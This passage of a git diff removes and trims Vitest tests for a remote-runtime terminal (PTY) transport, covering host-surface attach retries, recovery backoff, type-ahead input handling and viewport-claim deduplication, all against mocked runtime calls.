-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-tab-1',
-      leafId: 'pane:1',
-      onPtyExit
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-1',
-      cols: 80,
-      rows: 24,
-      callbacks: { onError }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-
-    runtimeCall.mockImplementation(async (args: { method: string }) =>
-      args.method === 'session.tabs.list'
-        ? {
-            ok: true,
-            result: {
-              worktree: 'wt-1',
-              publicationEpoch: 'epoch-1',
-              snapshotVersion: 2,
-              activeGroupId: null,
-              activeTabId: null,
-              activeTabType: null,
-              tabs: []
-            }
-          }
-        : { ok: true, result: {} }
-    )
-
-    subscriptionCallbacks?.onClose?.()
-
-    // Retire quietly and leave later authoritative snapshots to drive recovery/removal.
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalledWith('remote:env-1@@terminal-1', -1))
-    expect(transport.getPtyId()).toBeNull()
-    expect(onError).not.toHaveBeenCalled()
-  })
-
-  it('does not close host-owned terminal handles attached from session snapshots', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-1',
-      cols: 80,
-      rows: 24,
-      callbacks: {}
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    runtimeCall.mockClear()
-
-    transport.destroy?.()
-
-    expect(transport.getRecoveryState?.().phase).toBe('disposed')
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.close'
-      })
-    )
-  })
-
-  it('detaches laptop-created remote runtime terminals without closing the server session', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    runtimeCall.mockClear()
-
-    transport.destroy?.()
-
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.close'
-      })
-    )
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pending-host-surface-attach.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pending-host-surface-attach.test.ts
deleted file mode 100644
index f1aa13a6d76..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pending-host-surface-attach.test.ts
+++ /dev/null
@@ -1,385 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-import type { PtyTransportRecoveryState } from '../pty-transport-types'
-
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const { runtimeCall, resetRemoteRuntimeTransport, subscribedTerminalHandles } =
-  createRemoteRuntimeTransportMocks({
-    getCallbacks: () => subscriptionCallbacks,
-    setCallbacks: (callbacks) => {
-      subscriptionCallbacks = callbacks
-    },
-    getResolvedPaneHandle: () => resolvedPaneHandle,
-    setResolvedPaneHandle: (handle) => {
-      resolvedPaneHandle = handle
-    }
-  })
-
-const HOST_SURFACE_ATTACH_WINDOW_MS = 15_000
-
-function hostSessionSnapshot(status: 'pending-handle' | 'ready' | 'absent'): unknown {
-  return {
-    worktree: 'id:wt-1',
-    publicationEpoch: 'epoch-1',
-    snapshotVersion: 1,
-    activeGroupId: 'group-1',
-    activeTabId: 'host-tab-1::leaf-1',
-    activeTabType: 'terminal',
-    tabs:
-      status === 'absent'
-        ? []
-        : [
-            {
-              type: 'terminal',
-              id: 'host-tab-1::leaf-1',
-              parentTabId: 'host-tab-1',
-              leafId: 'leaf-1',
-              title: 'Terminal 1',
-              isActive: true,
-              status,
-              terminal: status === 'ready' ? 'terminal-1' : null
-            }
-          ]
-  }
-}
-
-function respondWithPendingHostSurface(args: { method: string }): Promise<unknown> {
-  if (args.method === 'session.tabs.activate' || args.method === 'session.tabs.list') {
-    return Promise.resolve({ ok: true, result: hostSessionSnapshot('pending-handle') })
-  }
-  return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-}
-
-function countCalls(method: string): number {
-  return runtimeCall.mock.calls.filter((call) => call[0].method === method).length
-}
-
-function hostSurfaceRequestBudgets(): number[] {
-  return runtimeCall.mock.calls
-    .filter(
-      (call) => call[0].method === 'session.tabs.list' || call[0].method === 'session.tabs.activate'
-    )
-    .map((call) => call[0].timeoutMs as number)
-}
-
-describe('initial host-mirror attach against a surface published as pending-handle', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-    vi.useFakeTimers()
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-  })
-
-  it('keeps re-activating a surface the host never materializes', async () => {
-    runtimeCall.mockImplementation(respondWithPendingHostSurface)
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    await vi.advanceTimersByTimeAsync(HOST_SURFACE_ATTACH_WINDOW_MS)
-    await expect(connect).resolves.toBeUndefined()
-
-    expect(countCalls('session.tabs.activate')).toBeGreaterThan(1)
-  })
-
-  it('ends the bounded wait in a revivable recovery epoch, never stranded in connecting', async () => {
-    runtimeCall.mockImplementation(respondWithPendingHostSurface)
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    await import('./recovery/remote-runtime-pty-recovery-state')
-    const { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } =
-      await import('./recovery/remote-runtime-pty-recovery-limits')
-    const recoveryStates: PtyTransportRecoveryState[] = []
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const connect = transport.connect({
-      url: '',
-      callbacks: {
-        onRecoveryStateChange: (state) => {
-          recoveryStates.push(state)
-        }
-      }
-    })
-    await vi.advanceTimersByTimeAsync(HOST_SURFACE_ATTACH_WINDOW_MS)
-    await expect(connect).resolves.toBeUndefined()
-
-    // Why backoff: the wait ended with unknown liveness, so a retry is armed rather than parked (#27178).
-    expect(transport.getRecoveryState?.().phase).toBe('backoff')
-    expect(recoveryStates.at(-1)?.phase).toBe('backoff')
-
-    await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-
-    expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-    expect(transport.retryRecovery?.()).toBe(true)
-  })
-
-  it('leaves a reattached pane recoverable when the relaunched host never materializes it', async () => {
-    runtimeCall.mockImplementation(respondWithPendingHostSurface)
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    await import('./recovery/remote-runtime-pty-recovery-state')
-    const { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } =
-      await import('./recovery/remote-runtime-pty-recovery-limits')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@stale-client-handle',
-      cols: 100,
-      rows: 30,
-      callbacks: {}
-    })
-    await vi.advanceTimersByTimeAsync(
-      HOST_SURFACE_ATTACH_WINDOW_MS + REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS
-    )
-
-    expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-    expect(transport.retryRecovery?.()).toBe(true)
-  })
-
-  it('revives a given-up pane when network online or system resume fires', async () => {
-    let hostMaterialized = false
-    runtimeCall.mockImplementation((args: { method: string }) => {
-      if (args.method === 'session.tabs.activate' || args.method === 'session.tabs.list') {
-        return Promise.resolve({
-          ok: true,
-          result: hostSessionSnapshot(hostMaterialized ? 'ready' : 'pending-handle')
-        })
-      }
-      return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const { retryAllRemoteRuntimePtyRecoveriesNow } =
-      await import('./recovery/remote-runtime-pty-recovery-state')
-    const { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } =
-      await import('./recovery/remote-runtime-pty-recovery-limits')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    await vi.advanceTimersByTimeAsync(
-      HOST_SURFACE_ATTACH_WINDOW_MS + REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS
-    )
-    await expect(connect).resolves.toBeUndefined()
-    expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-    hostMaterialized = true
-    expect(retryAllRemoteRuntimePtyRecoveriesNow()).toBe(1)
-    await vi.advanceTimersByTimeAsync(1_000)
-
-    expect(subscribedTerminalHandles()).toContain('terminal-1')
-    expect(transport.getPtyId?.()).toBe('remote:env-1@@terminal-1')
-  })
-
-  it('concludes absence from list inventory only, never from an activation snapshot', async () => {
-    runtimeCall.mockImplementation((args: { method: string }) => {
-      if (args.method === 'session.tabs.activate') {
-        return Promise.resolve({ ok: true, result: hostSessionSnapshot('absent') })
-      }
-      if (args.method === 'session.tabs.list') {
-        return Promise.resolve({ ok: true, result: hostSessionSnapshot('pending-handle') })
-      }
-      return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: { onError } })
-    await vi.advanceTimersByTimeAsync(HOST_SURFACE_ATTACH_WINDOW_MS)
-    await expect(connect).resolves.toBeUndefined()
-
-    expect(onError).not.toHaveBeenCalled()
-    expect(countCalls('session.tabs.activate')).toBeGreaterThan(1)
-    expect(transport.getRecoveryState?.().phase).toBe('backoff')
-  })
-
-  it('never reads an empty tab inventory as a closed remote terminal', async () => {
-    let hostRepublished = false
-    runtimeCall.mockImplementation((args: { method: string }) => {
-      if (args.method === 'session.tabs.activate' || args.method === 'session.tabs.list') {
-        return Promise.resolve({
-          ok: true,
-          result: hostSessionSnapshot(hostRepublished ? 'ready' : 'absent')
-        })
-      }
-      return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: { onError } })
-    await vi.advanceTimersByTimeAsync(1_000)
-
-    // Missing tab surfaces during host republish prove unknown liveness, never terminal closure.
-    expect(onError).not.toHaveBeenCalled()
-
-    hostRepublished = true
-    await vi.advanceTimersByTimeAsync(HOST_SURFACE_ATTACH_WINDOW_MS)
-    await expect(connect).resolves.toMatchObject({ id: 'remote:env-1@@terminal-1' })
-
-    expect(onError).not.toHaveBeenCalled()
-    expect(subscribedTerminalHandles()).toContain('terminal-1')
-  })
-
-  it('keeps a pane whose tab inventory stayed empty revivable instead of latching an error', async () => {
-    runtimeCall.mockImplementation((args: { method: string }) => {
-      if (args.method === 'session.tabs.activate' || args.method === 'session.tabs.list') {
-        return Promise.resolve({ ok: true, result: hostSessionSnapshot('absent') })
-      }
-      return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    await import('./recovery/remote-runtime-pty-recovery-state')
-    const { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } =
-      await import('./recovery/remote-runtime-pty-recovery-limits')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: { onError } })
-    await vi.advanceTimersByTimeAsync(
-      HOST_SURFACE_ATTACH_WINDOW_MS + REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS
-    )
-    await expect(connect).resolves.toBeUndefined()
-
-    expect(onError).not.toHaveBeenCalled()
-    expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-    expect(transport.retryRecovery?.()).toBe(true)
-  })
-
-  it('stops re-activating once an activation outcome is unobservable', async () => {
-    let activations = 0
-    runtimeCall.mockImplementation((args: { method: string }) => {
-      if (args.method === 'session.tabs.activate') {
-        activations += 1
-        return Promise.resolve(
-          activations > 1
-            ? {
-                ok: false,
-                error: {
-                  code: 'remote_runtime_unavailable',
-                  message: 'Remote Orca runtime connection closed'
-                }
-              }
-            : { ok: true, result: hostSessionSnapshot('pending-handle') }
-        )
-      }
-      if (args.method === 'session.tabs.list') {
-        return Promise.resolve({ ok: true, result: hostSessionSnapshot('pending-handle') })
-      }
-      return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    await vi.advanceTimersByTimeAsync(HOST_SURFACE_ATTACH_WINDOW_MS)
-    await expect(connect).resolves.toBeUndefined()
-
-    // Why: the failed activation may still have minted a host PTY, so replaying it would duplicate the shell.
-    expect(activations).toBe(2)
-    expect(countCalls('session.tabs.list')).toBeGreaterThan(2)
-  })
-
-  it('bounds every in-loop request by the remaining attach budget', async () => {
-    runtimeCall.mockImplementation(respondWithPendingHostSurface)
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    await vi.advanceTimersByTimeAsync(HOST_SURFACE_ATTACH_WINDOW_MS)
-    await expect(connect).resolves.toBeUndefined()
-
-    const budgets = hostSurfaceRequestBudgets().slice(1)
-    expect(budgets.length).toBeGreaterThan(1)
-    expect(Math.max(...budgets)).toBeLessThan(HOST_SURFACE_ATTACH_WINDOW_MS)
-    expect(budgets.at(-1)).toBeLessThan(2_000)
-  })
-
-  it('attaches once a re-activation materializes the relaunched host surface', async () => {
-    let activations = 0
-    runtimeCall.mockImplementation((args: { method: string }) => {
-      if (args.method === 'session.tabs.activate') {
-        activations += 1
-        return Promise.resolve({
-          ok: true,
-          result: hostSessionSnapshot(activations > 1 ? 'ready' : 'pending-handle')
-        })
-      }
-      if (args.method === 'session.tabs.list') {
-        return Promise.resolve({
-          ok: true,
-          result: hostSessionSnapshot('pending-handle')
-        })
-      }
-      return Promise.resolve({
-        ok: true,
-        result: { terminal: { handle: 'duplicate-terminal' } }
-      })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    await vi.advanceTimersByTimeAsync(2_000)
-
-    await expect(connect).resolves.toMatchObject({
-      id: 'remote:env-1@@terminal-1'
-    })
-    expect(countCalls('terminal.create')).toBe(0)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-reattach-type-ahead.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-reattach-type-ahead.test.ts
index 46d29555d58..def66e5e055 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-reattach-type-ahead.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-reattach-type-ahead.test.ts
@@ -15,10 +15,7 @@ import {
   TerminalStreamOpcode,
   decodeTerminalStreamText
 } from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import {
-  createDeferred,
-  flushAsyncTicks
-} from '../../pty-connection/test-fixtures/pty-connection-test-async'
+import { createDeferred } from '../../pty-connection/test-fixtures/pty-connection-test-async'
 import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
 import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
 
@@ -154,43 +151,6 @@ describe('remote reattach type-ahead', () => {
     transport.destroy?.()
   })
 
-  it.each([undefined, 'remote:env-2@@terminal-1', 'remote:terminal-1'])(
-    'discards pre-entry typing when the first connect does not restore this pane: %s',
-    async (sessionId) => {
-      const { transport, created, waitForCreate } = await createGatedTransport()
-      const accepted = transport.sendInputAccepted?.('old tail\r', 'driving')
-      const connecting = transport.connect({ url: '', sessionId, callbacks: {} })
-      await expect(accepted).resolves.toBe(false)
-      await waitForCreate()
-      created.resolve('terminal-1')
-      await connecting
-      await flushAsyncTicks()
-      expect(inputFrameTexts()).toEqual([])
-      transport.destroy?.()
-    }
-  )
-
-  it.each(['terminal-replacement', new Error('offline')])(
-    'never forwards retained input when the original terminal is unavailable: %s',
-    async (outcome) => {
-      const { transport, created, waitForCreate } = await createGatedTransport()
-      const connecting = transport.connect({ url: '', sessionId: ORIGINAL_ID, callbacks: {} })
-      await waitForCreate()
-      const accepted = transport.sendInputAccepted?.('dangerous tail\r', 'driving')
-      expect(transport.sendInput('\x1b[I', 'query-reply')).toBe(false)
-      expect(transport.sendInputImmediate('\x1b[1;1R')).toBe(false)
-      created.resolve(outcome)
-      await connecting
-      if (typeof outcome === 'string') {
-        await completeAttach()
-      }
-      await expect(accepted).resolves.toBe(false)
-      await flushAsyncTicks()
-      expect(inputFrameTexts()).toEqual([])
-      transport.destroy?.()
-    }
-  )
-
   it.each([
     ['terminal-1', 'tail-on-old-pixels\r'],
     ['terminal-replacement', '']
@@ -220,79 +180,7 @@ describe('remote reattach type-ahead', () => {
     }
   )
 
-  it.each(['attach', 'disconnect', 'detach', 'destroy'] as const)(
-    'drops input and settles accepted writes on %s before a late reattach',
-    async (action) => {
-      const { transport, created, waitForCreate } = await createGatedTransport()
-      const preEntry = transport.sendInputAccepted?.('pre-entry\r', 'driving')
-      if (action === 'attach') {
-        transport.attach({ existingPtyId: ORIGINAL_ID, callbacks: {} })
-        await expect(preEntry).resolves.toBe(false)
-        transport.destroy?.()
-        return
-      }
-      const connecting = transport.connect({ url: '', sessionId: ORIGINAL_ID, callbacks: {} })
-      await waitForCreate()
-      const accepted = transport.sendInputAccepted?.('stale\r', 'driving')
-      transport[action]?.()
-      await expect(preEntry).resolves.toBe(false)
-      await expect(accepted).resolves.toBe(false)
-      created.resolve('terminal-1')
-      await connecting
-      await flushAsyncTicks()
-      expect(inputFrameTexts()).toEqual([])
-      transport.destroy?.()
-    }
-  )
-
   describe('a brand-new pane', () => {
-    it('delivers typing from before and during its first create to the terminal it makes', async () => {
-      const { transport, created, waitForCreate } = await createGatedTransport({
-        keepTypeAheadForNewTerminal: () => true
-      })
-      expect(transport.sendInput('ec', 'driving')).toBe(true)
-      const connecting = transport.connect({ url: '', callbacks: {} })
-      await waitForCreate()
-      expect(transport.sendInput('ho hi\r', 'driving')).toBe(true)
-      expect(inputFrameTexts()).toEqual([])
-      created.resolve({ handle: 'terminal-new' })
-      await connecting
-      await completeAttach()
-      await vi.waitFor(() => expect(inputFrameTexts().join('')).toBe('echo hi\r'))
-      transport.destroy?.()
-    })
-
-    it('drops its typing when startup work appeared before the terminal bound', async () => {
-      const { transport, created, waitForCreate } = await createGatedTransport({
-        keepTypeAheadForNewTerminal: () => true,
-        releasePreconnectInput: () => false
-      })
-      expect(transport.sendInput('make the tests pass\r', 'driving')).toBe(true)
-      const connecting = transport.connect({ url: '', callbacks: {} })
-      await waitForCreate()
-      created.resolve({ handle: 'terminal-new' })
-      await connecting
-      await completeAttach()
-      expect(transport.sendInput('live', 'driving')).toBe(true)
-      await vi.waitFor(() => expect(inputFrameTexts().join('')).toMatch(/live$/))
-      expect(inputFrameTexts().join('')).toBe('live')
-      transport.destroy?.()
-    })
-
-    it('drops its typing when the first create binds no terminal', async () => {
-      const { transport, created, waitForCreate } = await createGatedTransport({
-        keepTypeAheadForNewTerminal: () => true
-      })
-      const accepted = transport.sendInputAccepted?.('lost\r', 'driving')
-      const connecting = transport.connect({ url: '', callbacks: {} })
-      await waitForCreate()
-      created.resolve(new Error('offline'))
-      await connecting
-      await expect(accepted).resolves.toBe(false)
-      await flushAsyncTicks()
-      expect(inputFrameTexts()).toEqual([])
-      transport.destroy?.()
-    })
     // Why: the host adopts a live terminal for this tab and leaf, or restores history into a new
     // one; typing made for a blank pane must not run in either (#10065).
     it.each([
@@ -340,67 +228,5 @@ describe('remote reattach type-ahead', () => {
       expect(inputFrameTexts().join('')).toBe('live')
       transport.destroy?.()
     })
-
-    it('drops its typing when replayed history appeared before the terminal bound', async () => {
-      let blank = true
-      const { transport, created, waitForCreate } = await createGatedTransport({
-        keepTypeAheadForNewTerminal: () => blank
-      })
-      const connecting = transport.connect({ url: '', callbacks: {} })
-      await waitForCreate()
-      expect(transport.sendInput('typed on old pixels\r', 'driving')).toBe(true)
-      blank = false
-      created.resolve({ handle: 'terminal-new' })
-      await connecting
-      await completeAttach()
-      expect(transport.sendInput('live', 'driving')).toBe(true)
-      await vi.waitFor(() => expect(inputFrameTexts().join('')).toMatch(/live$/))
-      expect(inputFrameTexts().join('')).toBe('live')
-      transport.destroy?.()
-    })
-  })
-
-  // A remount shows the pane's terminal id before its deferred attach starts; keys typed then are real.
-  describe('a remounted pane attaching its terminal', () => {
-    async function attachRemountedPane(options: Record<string, unknown> = {}) {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1',
-        bufferInputUntilConnect: true,
-        ...options
-      })
-      expect(transport.sendInput('ec', 'driving')).toBe(true)
-      transport.attach({ existingPtyId: ORIGINAL_ID, cols: 80, rows: 24, callbacks: {} })
-      expect(transport.sendInput('ho hi\r', 'driving')).toBe(true)
-      expect(inputFrameTexts()).toEqual([])
-      await completeAttach()
-      return transport
-    }
-
-    it('delivers typing from before and during the attach to the terminal it names', async () => {
-      const transport = await attachRemountedPane()
-      await vi.waitFor(() => expect(inputFrameTexts().join('')).toBe('echo hi\r'))
-      transport.destroy?.()
-    })
-
-    it('drops that typing when the host now holds another terminal', async () => {
-      resolvedHandle = 'terminal-2'
-      const transport = await attachRemountedPane()
-      await vi.waitFor(() => expect(transport.getPtyId()).toBe('remote:env-1@@terminal-2'))
-      expect(transport.sendInput('live', 'driving')).toBe(true)
-      await vi.waitFor(() => expect(inputFrameTexts().join('')).toMatch(/live$/))
-      expect(inputFrameTexts().join('')).not.toContain('echo')
-      transport.destroy?.()
-    })
-
-    it('drops typing from before the attach when the pane has startup work', async () => {
-      const transport = await attachRemountedPane({ releasePreconnectInput: () => false })
-      expect(transport.sendInput('live', 'driving')).toBe(true)
-      await vi.waitFor(() => expect(inputFrameTexts().join('')).toMatch(/live$/))
-      expect(inputFrameTexts().join('')).toBe('ho hi\rlive')
-      transport.destroy?.()
-    })
   })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-reveal-round-trips.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-reveal-round-trips.test.ts
deleted file mode 100644
index 5a7e07cc970..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-reveal-round-trips.test.ts
+++ /dev/null
@@ -1,112 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-
-// Overlap stream opening with terminal.create and dedupe reveal viewport claims to avoid serial round trips.
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: () => ({}) } }))
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const {
-  runtimeCall,
-  runtimeSubscribe,
-  subscriptionSendBinary,
-  latestSubscribePayload,
-  resetRemoteRuntimeTransport
-} = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
-
-describe('remote pane reveal round trips', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-  })
-
-  async function createRevealTransport() {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    return createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-  }
-
-  it('closes a warmed stream when the create fails and nothing subscribes', async () => {
-    const unsubscribe = vi.fn()
-    const defaultSubscribe = runtimeSubscribe.getMockImplementation()!
-    runtimeSubscribe.mockImplementation(
-      async (args: unknown, callbacks: MultiplexSubscriptionCallbacks) => ({
-        ...(await defaultSubscribe(args, callbacks)),
-        unsubscribe
-      })
-    )
-    runtimeCall.mockRejectedValue(new Error('terminal create failed'))
-    const transport = await createRevealTransport()
-
-    await transport.connect({ url: '', callbacks: {} })
-    expect(runtimeSubscribe).toHaveBeenCalledTimes(1)
-    await vi.waitFor(() => expect(unsubscribe).toHaveBeenCalledTimes(1))
-  })
-
-  it('sends one claim when a reveal claims the same grid twice before the host answers', async () => {
-    const transport = await createRevealTransport()
-    await transport.connect({ url: '', cols: 120, rows: 40, callbacks: {} })
-    const { streamId } = latestSubscribePayload()
-    const framesOf = (opcode: TerminalStreamOpcode) =>
-      subscriptionSendBinary.mock.calls.filter(
-        ([bytes]) => decodeTerminalStreamFrame(bytes)?.opcode === opcode
-      ).length
-
-    // Visibility resume, then the layout observer one frame later.
-    transport.claimViewport?.(120, 40)
-    transport.resize(120, 40, { claim: true })
-    expect(framesOf(TerminalStreamOpcode.ClaimViewport)).toBe(1)
-    expect(framesOf(TerminalStreamOpcode.Resize)).toBe(1)
-
-    // A different grid is new information and still goes out.
-    transport.claimViewport?.(100, 40)
-    expect(framesOf(TerminalStreamOpcode.ClaimViewport)).toBe(2)
-
-    // Host fit/driver responses acknowledge our claim; they are not reasons to claim again.
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: { type: 'fit-override-changed', streamId, mode: 'desktop-fit', cols: 159, rows: 69 }
-    })
-    for (const kind of ['idle', 'desktop'] as const) {
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: { type: 'driver-changed', streamId, driver: { kind } }
-      })
-    }
-    transport.claimViewport?.(100, 40)
-    expect(framesOf(TerminalStreamOpcode.ClaimViewport)).toBe(2)
-
-    // A peer holding the pane, even at the same grid, re-arms the claim.
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'fit-override-changed',
-        streamId,
-        mode: 'remote-desktop-fit',
-        cols: 100,
-        rows: 40
-      }
-    })
-    transport.claimViewport?.(100, 40)
-    expect(framesOf(TerminalStreamOpcode.ClaimViewport)).toBe(3)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-snapshot-replay.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-snapshot-replay.test.ts
index 898a82aa9b7..ffdf017de01 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-snapshot-replay.test.ts
